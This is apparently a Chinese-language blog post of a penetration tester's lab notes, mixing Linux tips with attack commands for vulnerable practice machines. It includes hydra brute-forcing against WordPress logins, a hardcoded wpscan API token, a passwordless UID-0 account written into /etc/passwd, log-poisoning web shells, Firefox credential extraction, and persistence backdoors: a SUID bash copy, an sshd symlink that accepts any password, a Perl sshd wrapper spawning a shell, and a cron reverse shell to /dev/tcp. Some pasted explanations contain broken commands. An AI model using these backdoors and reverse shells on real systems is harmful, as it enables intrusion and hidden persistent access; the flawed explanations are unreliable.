知识点

sc

SC命令的格式:SC [Servername] command Servicename [Optionname= Optionvalues]

Servername:指定服务所在的远程服务器的名称。名称必须采用通用命名约定 (UNC) 格式(“\myserver”)。如果是在本地运行SC.exe,请忽略此参数。
command :如query,start,stop,create,config等

Servicename:服务名,也就是要配置的那个服务的名字,例如你要启动一个服务你就输入sc start +你要启动的服务名称(并非是服务显示名称)。
Optionname= Optionvalues:是选项名和选项的值。

hydra

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt http-post://10.10.249.106:8080

hydra -l wp-admin -P /usr/share/wordlists/rockyou.txt http-post://192.168.152.141/blog/wp-login.php

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p 12345 http-post://192.168.152.141/blog/wp-login.php

域名解析失败

vim /etc/hosts 打开hosts配置文件,添加上ip与域名,然后重启一下服务 然后就可以正常访问了

也可以用bash -c 'echo ip 域名 >> /etc/hosts'

重启一下网络服务

/etc/init.d/networking restart

wpscan

wpscan --url http://dc-2

wpscan --url http://dc-2 --enumerate t 扫描主题

wpscan --url http://dc-2 --enumerate p 扫描插件

wpscan --url http://dc-2 --enumerate u 枚举用户

wpscan --api-token=OGdgn8Ekao1Pt4jgVrO3AsxsWcQ4yC1liIzYC3756Tk --url=http://192.168.152.141/blog -e p --plugins-detection aggressive

这里的token可以自己到wpscan官网注册获得

joomscan

joomscan --url http://xxx.xxx.com 可以扫描joomla服务的后台地址以及服务版本

cewl

cewl http://xxx.com >1.txt 爬取网站,生成一个字典

cewl http://xxx.com -m 9指定生成至少9位的密码

https://www.freebuf.com/articles/network/190128.html

rbash逃逸

它与一般shell的区别在于会限制一些行为,让一些命令无法执行
2.如何设置一个rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

https://blog.csdn.net/qq_43168364/article/details/111830233

mail

在/var/mail/

/var/spool/mail/

可以看到邮件

邮件相关操作

linux用户的邮件存在哪里,在Linux系统中收发及查看邮件-CSDN博客

openssl

openssl passwd -1 -salt cll password

密码是password

/etc/passwd

user:123:0:0:root:/root:/bin/bash

用户名:密码:uid:gid:描述:家目录:哪种shell

4种可执行文件目录

/usr/bin/

/bin/

/usr/sbin/

/sbin/

echo

追加: echo " " >> 文件名

覆盖: echo " " > 文件名

ximong:~$ cat aa.sh #打印文件aa中原来的内容,显示aa

aa

ximong:~$ echo bb >> aa.sh #  在文本末尾追加

ximong:~$ cat aa.sh

aa

bb

ximong:~$ echo cc >aa.sh  #覆盖

ximong:~$ cat aa.sh

cc

nginx日志写shell

/var/log/nginx/access.log

可以尝试在UA头和URL写一句话木马

wfuzz

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.43.192/thankyou.php?FUZZ=/etc/passwd

添加root用户

echo "admin::0:0:admin:/root:/bin/bash">>/etc/passwd

用户名:admin

密码:空

sudo

sudo -u jens /home/jens/backups.sh

“以jens用户的身份来执行/home/jens/backups.sh这个脚本”。

drush

创建新用户

drush user-create username --mail='email@exp.com' --password="password"

删除用户

drush user-cancel username

更改密码

drush user-password admin --password="new_pass"

获取不到靶机ip地址

启动靶机的时候屏幕中间出现蓝色按住shift键后按e,在末尾处,找到ro,将ro 替换为 rw signie init=/bin/bash

按下Ctrl键+X键

查看当前网卡IP信息 ip a

网卡为 ens33

.编辑网卡配置文件vim /etc/network/interfaces

重启网卡服务 /etc/init.d/networking restart

重启靶机就可以了

gopherus工具

gopherus是一款生成gopher链接来帮助我们利用SSRF和获得RCE的工具,当然,使用的前提是一个地方验证了SSRF漏洞,而且gopher协议又没被过滤

1.下载

git clone http://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip

2.解压

unzip master.zip

python2 gopherus.py --exploit mysql

输入用户名

输入要执行的操作

ssh-keygen

ssh-keygen 是一个用于创建、管理和转换身份验证密钥的工具,这些密钥通常用于 SSH 协议以实现安全的远程登录或其他加密的网络连接。

在你给出的命令 ssh-keygen -f upfine 中,-f 选项用于指定输出密钥文件的名字。但是,这里有一点需要注意:

  1. 通常,ssh-keygen 默认会创建两个文件:一个私钥文件(默认名为 id_rsa 或你指定的名称,但带有私钥的扩展名,如 .pem.ppk 等)和一个公钥文件(通常是私钥文件名加上 .pub 后缀)。
  2. 当你使用 -f 选项时,你通常只指定私钥文件的名称,公钥文件将自动具有相同的名称但带有 .pub 后缀。
  3. upfine 可能是你想要为私钥文件命名的名称,但除非你指定了密钥类型(如 -t rsa),否则 ssh-keygen 会默认使用 RSA 密钥类型。

因此,如果你运行 ssh-keygen -f upfine,你可能会得到两个文件:upfine(私钥文件)和 upfine.pub(公钥文件)。

但是,为了完整性和明确性,我建议你还指定密钥类型,例如:

bash复制代码

ssh-keygen -t rsa -f upfine

这将明确指示 ssh-keygen 使用 RSA 密钥类型,并将私钥保存到名为 upfine 的文件中。

ssh公钥登录

1、生成ssh密钥对
ssh-keygen -f id_rsa

2、上传公钥
scp /home/kali/id_rsa.pub snape@192.168.152.148:~/
cd /home/snape
3、修改权限和名称
chmod 640 id_rsa.pub
赋予公钥执行权限,注意这里要先进入/home/snape才能看到公钥
mv id_rsa.pub authorized_keys
改公钥的文件名,这是规定,不然会连不上
4、移动公钥到hermoine/.ssh/目录下面
/home/hermoine/bin/su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
使用su_cp把snape上的公钥放到hermoine用户的ssh文件下,这个命令输入后可以查看一下/home/hermoine/.ssh/
是否有该文件

5、用私钥连接ssh
ssh hermoine@192.168.152.148 -i /home/kali/id_rsa

Firefox Decrypt

.mozilla文件,这个文件里面包含有火狐浏览器各种信息乃至账密。这个工具专门提取该文件信息的工具

1.我是先下载到本机然后拖到kali里面的

2.wget https://github.com/lclevy/firepwd/archive/refs/heads/master.zip
下载firepwd工具

3.cd firepwd-master
进入工具文件夹

4.sudo pip install -r requirements.txt
下载所需模块

5.cp firepwd-master/firepwd.py demo/firefox/g2mhbq0o.default
将脚本复制到要读取数据的火狐文件中

6.cd demo/firefox/g2mhbq0o.default
进入保存数据的火狐文件

7.python3 firepwd.py
执行脚本,读取数据

是否在docker环境

cat /proc/1/cgroup

探测内网存活主机

for i in {1..254}; do
ping -c 1 192.168.152.$i
done

ss -pantu | grep server

这个命令组合在Linux系统中用于查找与“server”相关的网络活动。具体来说,这个命令由几个部分组成,我们逐一解释:

  1. ss: 这是一个用于查看系统套接字统计信息的工具。与netstat类似,但ss通常更快,因为它直接从内核中获取套接字信息,而不是从/proc/net目录中读取。
  2. -p: 这个选项告诉ss显示与每个套接字关联的进程信息。例如,它会显示哪个进程正在监听或连接到特定的套接字。
  3. -a: 显示所有套接字。默认情况下,ss可能只显示监听套接字,但使用-a选项会显示所有套接字,包括已建立的连接、TIME_WAIT套接字等。
  4. -n: 这个选项在原始命令中并未明确给出,但通常与ss一起使用来避免解析服务名(如将端口号解析为“http”或“ssh”等)。由于原始命令中没有-nss可能会尝试解析服务名。
  5. -t: 仅显示TCP套接字。如果你只对TCP连接感兴趣,这个选项很有用。
  6. -u: 仅显示UDP套接字。但在你的命令中,这个选项并没有给出,所以我们只关注TCP套接字。
  7. |: 这是一个管道符号,用于将一个命令的输出作为另一个命令的输入。
  8. grep server: 使用grep命令搜索包含“server”的行。这允许你过滤出与“server”相关的行,可能是服务名、进程名或其他任何包含“server”的文本。

综上所述,ss -pantu | grep server这个命令会列出所有TCP套接字(包括监听的和已建立的连接),并显示与每个套接字关联的进程信息。然后,它会使用grep过滤出包含“server”的行,这有助于你快速找到与“server”相关的网络活动或进程。

node.js

node.js技术就是用于利用javascript代码在服务器上搭建web应用程序,而且这样搭建出来的web应用程序有很多独有的优势,比如非阻塞机制,异步输入输出之类的模型,使得这些web应用程序在处理某些特定程序时性能大大提高,并且通常都是基于一些已有的框架和库来进行开发,而express.js库是基于web应用开发使用的最多的

date

date '+Today is %A, %B %d, %Y %H:%M:%S.'

Today is 星期二, 七月 02, 2024 11:10:27.

图片隐写查看

输入steghide命令使用info参数查看图片

steghide info trytofind.jpg
  1. 提取数据
  2. steghide extract -sf trytofind.jpg、
时间伪造

touch -r 目标时间戳的文件 要修改时间戳的文件

锁定文件

chattr -i 目标文件名

解锁也是这个命令

ltrace

ltrace命令 是用来跟踪进程调用库函数的情况。

last

在Linux中可以使用Last查看账号SSH登录情况

last|grep root
useradd

useradd -p openssl passwd -1 -salt 'salt' 123456 test -o -u 0 -g root -G root -s /bin/bash -d /home/test

这条命令尝试使用 useradd 命令来创建一个新用户,但在使用方式和参数上存在一些潜在的问题和误解。下面我将逐一解释这条命令的各个部分,并指出可能的问题和如何正确执行类似的操作。

命令解析:

  • useradd:用于在Linux系统中添加新用户。
  • -p:用于指定用户密码的加密字符串。但是,通常不推荐直接在命令行中使用明文密码来生成加密字符串,因为这可能会被记录在命令历史或系统日志中。
  • openssl passwd -1 -salt 'salt' 123456:这部分尝试使用OpenSSL的passwd命令来生成密码123456的MD5加密字符串,并指定了盐值'salt'。然而,-1选项现在可能不被所有OpenSSL版本支持(或已弃用),因为它指定了MD5加密方式。此外,直接在命令行中硬编码盐值可能不是最佳实践,因为盐值应该是随机的。
  • test:这是你想要创建的用户名。
  • -o:允许创建UID为0的用户(通常是root用户),这在大多数情况下是不推荐的,因为UID 0具有对系统的完全访问权限。
  • -u 0:设置用户的UID为0,这通常与root用户相关联。
  • -g root:设置用户的主组为root组。
  • -G root:将用户添加到root附加组中,但这里与-g参数重复了,因为通常-g已经指定了主组。
  • -s /bin/bash:设置用户的登录shell为bash。
  • -d /home/test:设置用户的家目录为/home/test

潜在问题和建议

  1. UID 0(root)的问题:通常不建议为非root用户设置UID为0,因为这会给该用户root级别的权限。如果确实需要这样的用户,请确保你了解这样做的风险,并考虑使用sudo来管理权限。
  2. 密码生成:如果你需要生成密码的加密字符串,建议使用更安全的方法,比如使用chpasswd命令(如果可用),或者通过脚本生成加密密码后通过文件或其他安全方式传递。
  3. 盐值:虽然可以指定盐值,但最好让系统生成一个随机的盐值,以增加密码的安全性。
  4. 命令安全性:直接在命令行中指定明文密码(即使它会被加密)可能会带来安全风险。考虑使用更安全的方式来处理密码。

修改后的命令示例(不使用UID 0):

bash复制代码

openssl passwd -1 -salt $(openssl rand -base64 4) '123456' | sudo useradd -p $(cat) -u $(id -u nobody + 1) -g users -G sudo -s /bin/bash -d /home/test test

注意

  • 这个命令使用了openssl rand -base64 4来生成一个随机的盐值。
  • 使用$(cat)来从管道中读取加密后的密码。
  • 假设nobody用户存在,并且你希望新用户的UID比nobody大1(这只是一个示例,你应该根据你的系统情况选择合适的UID)。
  • 这里将用户的主组设置为users,并添加了sudo组以便该用户可以使用sudo命令(根据实际需要调整)。

请根据你的具体需求和安全策略调整这些命令。

suid shell

suid shell 主要是方便提权,配合普通用户使用
使用之后就会让普通用户毫无压力提权,自然也达到了类似权限维持的效果,原理如下:

首先Linux系统上,都会有一个叫Bash的shell文件,这个时候我们可以把这个shell文件copy一份到另外一个文件夹
再把另外一个文件夹加上us(即suid)的一个权限
这样其他用户在登录时,利用suid就可以轻松提权
步骤如下

将文件复制出来

cp /bin/bash /tmp/shell
赋予suid权限

chmod u+s /tmp//shell
这样就设置成功了,我们再使用普通用户登录

以普通用户执行刚才的文件

/tmp/shell -p

ssh软连接

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config|grep UsePAM

为Yes即可使用

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
开启软链接,链接端口为9999

firewall-cmd --add-port=9999/tcp --permanent
开启防火墙规则,不然会连接不上

firewall-cmd --reload
重启防火墙服务

firewall-cmd --query-port=9999/tcp
查看防火墙9999端口是否被放行,回显为YES即成功放行

ssh root@192.168.149.133 -p 9999
使用软链接登录,密码可以随便输入
(192.168.149.133为我环境中目标的ip)

ssh wrapper

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端(被攻击端)执行如下命令*

cd /usr/sbin/
进入sshd文件所在目录

mv sshd ../bin/
将正常sshd文件移出

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
将脚本写入新的sshd文件

chmod u+x sshd
赋予文件执行权限

/etc/init.d/sshd restart 或者service sshd restart
重启ssh服务

客户端执行如下命令

socat STDIO TCP4:目标ip:22,sourceport=13377
计划任务

1、创建一个sh脚本

,例如在/etc下创建了一个shell.sh的脚本,内容如下

!/bin/bash

bash -i >& /dev/tcp/192.168.15.130/6666 0>&1
注意:这里的192.168.15.130为我们kali的攻击机的ip,端口为我们攻击机接收的端口,相当于控制目标主动来连我们

2、赋予执行权限

chmod +sx /etc/shell.sh
3、写入计划任务

vi /etc/crontab
打开计划任务文件
将下面的指令添加到该文件中,意思就是每分钟执行一次我们的恶意文件

*/1 * * * * root /etc/shell.sh

4、重启计划任务

service crond restart

5、客户端开启监听

这时候在我们的kali攻击器开启监听就可以成功获取到目标反弹回来的权限

posted @ 2024-07-17 14:33  CLLWA  阅读(10)  评论(0编辑  收藏  举报